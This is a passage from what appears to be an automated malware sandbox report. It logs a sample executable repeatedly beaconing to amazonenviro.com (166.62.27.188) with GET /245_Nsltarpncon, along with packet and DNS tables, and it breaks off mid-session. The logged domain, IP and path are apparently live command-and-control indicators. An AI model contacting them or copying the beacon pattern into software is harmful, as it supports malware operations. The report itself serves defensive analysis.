Jan 14, 2025 08:24:51.499125957 CET	443	50139	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:51.499234915 CET	50139	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:51.500722885 CET	50139	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:51.500731945 CET	443	50139	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:51.501043081 CET	443	50139	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:51.502922058 CET	50139	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:51.547338009 CET	443	50139	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:52.083755016 CET	443	50139	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:52.083986044 CET	443	50139	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:52.084059000 CET	50139	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:52.084122896 CET	50139	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:52.084139109 CET	443	50139	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:52.084162951 CET	50139	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:52.084171057 CET	443	50139	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:52.198793888 CET	50140	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:52.198848963 CET	443	50140	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:52.198946953 CET	50140	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:52.199064970 CET	50140	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:52.199104071 CET	443	50140	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:52.199160099 CET	50140	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:52.201616049 CET	50141	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:52.201667070 CET	443	50141	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:52.201780081 CET	50141	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:52.202260017 CET	50141	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:52.202274084 CET	443	50141	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:53.082011938 CET	443	50141	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:53.082164049 CET	50141	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.083848000 CET	50141	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.083862066 CET	443	50141	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:53.084228992 CET	443	50141	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:53.085472107 CET	50141	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.127335072 CET	443	50141	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:53.655494928 CET	443	50141	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:53.655656099 CET	443	50141	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:53.655848026 CET	50141	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.656141043 CET	50141	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.656162977 CET	443	50141	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:53.656181097 CET	50141	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.656186104 CET	443	50141	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:53.771361113 CET	50142	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.771419048 CET	443	50142	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:53.771518946 CET	50142	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.771658897 CET	50142	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.771708012 CET	443	50142	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:53.771764994 CET	50142	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.774669886 CET	50143	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.774745941 CET	443	50143	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:53.774826050 CET	50143	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.775248051 CET	50143	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:53.775270939 CET	443	50143	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:54.781877995 CET	443	50143	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:54.782093048 CET	50143	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:54.784244061 CET	50143	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:54.784252882 CET	443	50143	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:54.784487963 CET	443	50143	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:54.785809994 CET	50143	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:54.827378035 CET	443	50143	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:55.367043018 CET	443	50143	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:55.367295980 CET	443	50143	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:55.367486000 CET	50143	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:55.367486000 CET	50143	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:55.367486000 CET	50143	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:55.482742071 CET	50144	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:55.482801914 CET	443	50144	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:55.482898951 CET	50144	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:55.483010054 CET	50144	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:55.483136892 CET	443	50144	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:55.483184099 CET	50144	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:55.485652924 CET	50145	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:55.485707045 CET	443	50145	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:55.485775948 CET	50145	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:55.486129999 CET	50145	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:55.486144066 CET	443	50145	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:55.668987989 CET	50143	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:55.669023037 CET	443	50143	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:56.382093906 CET	443	50145	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:56.382168055 CET	50145	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:56.384888887 CET	50145	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:56.384903908 CET	443	50145	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:56.385140896 CET	443	50145	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:56.386341095 CET	50145	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:56.431329012 CET	443	50145	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:56.971915960 CET	443	50145	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:56.972179890 CET	443	50145	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:56.972275019 CET	50145	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:56.978358030 CET	50145	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:56.978379011 CET	443	50145	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:56.978391886 CET	50145	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:56.978399992 CET	443	50145	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:57.093278885 CET	50146	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:57.093336105 CET	443	50146	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:57.093516111 CET	50146	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:57.096812963 CET	50146	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:57.096880913 CET	443	50146	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:57.096960068 CET	50146	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:57.106108904 CET	50147	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:57.106153965 CET	443	50147	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:57.106220007 CET	50147	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:57.110225916 CET	50147	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:57.110241890 CET	443	50147	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:58.007586956 CET	443	50147	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:58.007807016 CET	50147	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.009179115 CET	50147	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.009188890 CET	443	50147	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:58.009562016 CET	443	50147	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:58.010843039 CET	50147	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.051328897 CET	443	50147	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:58.591377020 CET	443	50147	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:58.591643095 CET	443	50147	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:58.591761112 CET	50147	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.591985941 CET	50147	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.592006922 CET	443	50147	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:58.592019081 CET	50147	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.592025042 CET	443	50147	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:58.706527948 CET	50148	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.706552029 CET	443	50148	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:58.706621885 CET	50148	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.706746101 CET	50148	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.706890106 CET	443	50148	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:58.708405972 CET	50148	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.709372997 CET	50149	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.709418058 CET	443	50149	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:58.711416006 CET	50149	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.711762905 CET	50149	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:58.711781025 CET	443	50149	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:59.616590977 CET	443	50149	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:59.617140055 CET	50149	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:59.662939072 CET	50149	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:59.662971973 CET	443	50149	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:59.663233042 CET	443	50149	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:59.680099010 CET	50149	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:59.723334074 CET	443	50149	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:00.242979050 CET	443	50149	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:00.243458986 CET	443	50149	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:00.243963003 CET	50149	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:00.244041920 CET	50149	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:00.244043112 CET	50149	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:00.244070053 CET	443	50149	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:00.244081020 CET	443	50149	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:00.421006918 CET	50150	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:00.421036959 CET	443	50150	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:00.421108007 CET	50150	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:00.421212912 CET	50150	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:00.421500921 CET	443	50150	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:00.421619892 CET	50150	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:00.424000025 CET	50151	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:00.424061060 CET	443	50151	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:00.424248934 CET	50151	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:00.424613953 CET	50151	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:00.424635887 CET	443	50151	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:01.342888117 CET	443	50151	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:01.343332052 CET	50151	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:01.345838070 CET	50151	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:01.345849991 CET	443	50151	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:01.346604109 CET	443	50151	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:01.347963095 CET	50151	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:01.395330906 CET	443	50151	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:01.943200111 CET	443	50151	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:01.945123911 CET	443	50151	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:01.945204973 CET	50151	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:01.945307970 CET	50151	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:01.945307970 CET	50151	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:01.945329905 CET	443	50151	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:01.945338964 CET	443	50151	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:02.058945894 CET	50152	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:02.058995962 CET	443	50152	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:02.059092999 CET	50152	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:02.063949108 CET	50152	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:02.064029932 CET	443	50152	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:02.064110994 CET	50152	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:02.066863060 CET	50153	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:02.066956043 CET	443	50153	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:02.067039967 CET	50153	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:02.067435026 CET	50153	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:02.067464113 CET	443	50153	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:02.975994110 CET	443	50153	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:02.976140022 CET	50153	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:02.983788967 CET	50153	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:02.983840942 CET	443	50153	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:02.984596968 CET	443	50153	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:02.986124992 CET	50153	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:03.031327009 CET	443	50153	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:03.557920933 CET	443	50153	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:03.558017015 CET	443	50153	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:03.558096886 CET	50153	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:03.558283091 CET	50153	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:03.558305025 CET	443	50153	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:03.558317900 CET	50153	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:03.558322906 CET	443	50153	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:03.672918081 CET	50154	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:03.672955990 CET	443	50154	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:03.673042059 CET	50154	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:03.673232079 CET	50154	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:03.673321962 CET	443	50154	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:03.673382998 CET	50154	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:03.676383018 CET	50155	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:03.676491022 CET	443	50155	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:03.676575899 CET	50155	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:03.676902056 CET	50155	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:03.676937103 CET	443	50155	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:04.590507984 CET	443	50155	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:04.590604067 CET	50155	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:04.592669964 CET	50155	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:04.592681885 CET	443	50155	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:04.593444109 CET	443	50155	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:04.595046997 CET	50155	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:25:04.635354042 CET	443	50155	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:05.172689915 CET	443	50155	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:05.172867060 CET	443	50155	166.62.27.188	192.168.2.4
Jan 14, 2025 08:25:05.172943115 CET	50155	443	192.168.2.4	166.62.27.188

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:22:58.282007933 CET	51170	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:22:58.294611931 CET	53	51170	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 08:22:58.282007933 CET	192.168.2.4	1.1.1.1	0x8581	Standard query (0)	amazonenviro.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 08:22:58.294611931 CET	1.1.1.1	192.168.2.4	0x8581	No error (0)	amazonenviro.com		166.62.27.188	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

amazonenviro.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:22:59 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:00 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:22:59 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:01 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:01 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:01 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:02 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:03 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:03 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:04 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:05 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:04 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:06 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:06 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:06 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:07 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:08 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:08 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:09 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:09 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:09 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49745	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:11 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:11 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:11 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:12 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:13 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:13 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49749	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:14 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:14 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:14 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:15 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:16 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:16 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49754	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:17 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:18 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:17 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49760	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:19 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:19 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:19 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49763	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:20 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:21 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:21 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49765	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
